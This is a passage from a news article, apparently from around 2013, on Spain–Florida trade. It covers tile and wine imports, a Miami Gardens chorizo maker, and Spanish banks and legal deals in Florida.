While that may seem like a lot of Spanish tile, Musolino said he used to stock far more. Taste in tiles have changed. Hand-painted terracotta tiles from Spain that were popular in the 1980s and 1990s are no longer in vogue, he said, and customers tend to favor the sleek look of larger tiles in neutral colors. But the big change is China's role in the tile trade. China is now his top tile supplier.
During the economic crisis, Musolino said, Spanish porcelain tile manufacturers took their technology and designs to China where they could produce at a fraction of the cost. Now the Spanish and Chinese products are similar, but Spanish-style floor tiles made in China cost only about one-third as much, he said.
Spanish wall tiles are still holding their own against Chinese versions, Musolino said. Casa Linda also imports decorative bathroom tiles and non-slip patio tiles from Spain.
Some customers still prefer Italian and Spanish floor tiles, Musolino said, but in general, Florida buyers are very price-conscious.
Now Spanish tile makers are trying to win back the U.S. market. "They're getting more competitive to accommodate the changing market,'' he said. As a result, Musolino will be buying more Spanish tiles this year.
Wine is a growing segment of U.S.-Spain trade. During the first seven months of 2013, U.S. imports of Spanish wines were up 8.4 percent to $194.4 million, making wine the fourth most significant U.S. import from Spain.
In the Miami district, wine also ranked as the fourth most important import, increasing from $8.8 million in the first seven months of 2012 to $11.8 million in the similar time frame this year.
Miami-based VinAmericas, which represents 35 boutique family-owned wineries, started with a portfolio exclusively dedicated to Spanish wines. It still represents some 30 Spanish wine labels but it has expanded to handle wines from France, Portugal, Italy and Argentina and now serves distributors and retailers in 22 states.
On the smaller end of the Spanish wine spectrum is Monica Casas, president of WOW (World of Wines), a Doral wine importer and distributor.
To supplement her wine portfolio from South Africa, Argentina, Uruguay, Australia, and Italy, she is the Florida business reprentative for wine from Bodega La Remediadora under the La Villa Real brand and from Bodega Centro Españolas under her exclusive Aldoba label. Both wineries are in Spain's La Mancha region.
Casas, who is from Argentina, began traveling in 2010 to identify family-run boutique wineries to represent and last year was WOW's first full year of operation. Now most of her sales are to restaurants in South Florida and Tampa, but she's also started to make inroads at resorts in the Caribbean.
Casas said she's finding the world of Spanish wine highly competitive.
"The Spanish wine market is very old and there are a lot of established brands. People tend to choose the well-known brands,'' she said. "We're babies at this.''
To break into the market, Casas said, she chose some good Spanish wines that are available at reasonable prices ($6 to $25 wholesale) and does a lot of tasting and social events to get their names before the public. At this point, Casas, said she is importing just a half container-load of Spanish wine at a time.
Sometimes a company that begins as an importer ends up as an investor.
That was the case for Elore Enterprises, which makes Quijote Spanish-style chorizo sausages in a Miami Gardens factory.
Elore began by importing sausages from Spain in 1997, started manufacturing locally in 2004 and inaugurated a new plant in Miami Gardens in 2009, said Philippe Pinel, executive vice president of Elore Enterprises and Wines from Spain.
"The volume of sales had grown to the point where it was logical to have our own factory in Florida,'' said Pinel in a telephone interview from Spain. "Florida is a very strategic location for us."
Quijote chorizos are now sold in Publix, Winn-Dixie, Sedano's and Presidente supermarkets, are available at restaurants, Costco and BJ's and are exported to Mexico, Colombia, Costa Rica, Panama, and Puerto Rico. And Elore still imports Palacios chorizos from Spain.
Two years ago, Wines from Spain, a Spanish wine importer, and Amplus Select, a wine and artisanal beer distributor that is located next to the chorizo factory, were added to the mix, said Pinel. Amplus distributes TRUS wines and Nivarius white wines from Rioja, as well as Ceriux beer to Florida stores and restaurants.
While distribution of food and wine has been a traditional link between Spain and Florida, more recently Spanish Internet and tech companies and Spanish banks have found Florida fertile territory. Transactions between Spanish and U.S. companies also give the legal industry a boost.
Greenberg Traurig, for example, was the transaction counsel for MasterCard in a 2011 joint venture with Spain's Telefónica that allows Movistar customers in 12 Latin American markets to use their mobile phones to pay bills, make money transfers and access other financial services.
Peña, of Greenberg Traurig, also served as interim general counsel for the joint venture, whose brand name is Wanda.
Spanish banks with a presence in Florida include Sabadell United, International Finance Bank, Santander, BBVA, and Caixanova Bank. Grupo Banco Popular Español, one of the largest banking groups in Spain, is the parent company of TotalBank, and City National Bank's Spanish parent, Bankia, is in the process of selling it to Chile's Banco de Crédito e Inversiones.
To weather Spain's crisis, Spanish companies have become more international. As the Spanish economy slowly improves, Pérez-Palencia said, that will only serve to strengthen business relationships with Florida.
During the second quarter, the pace of Spain's economic contraction slowed and economic growth of .7 percent is predicted for next year — even though unemployment remains stubbornly high at 26 percent.
For Spanish companies with big dreams, expansion to Latin America and the United States has been the logical choice.
"A very high percentage will remain here'' — even after the Spanish economy shifts, said Pérez-Palencia. "In some cases, the new market has become the big one.''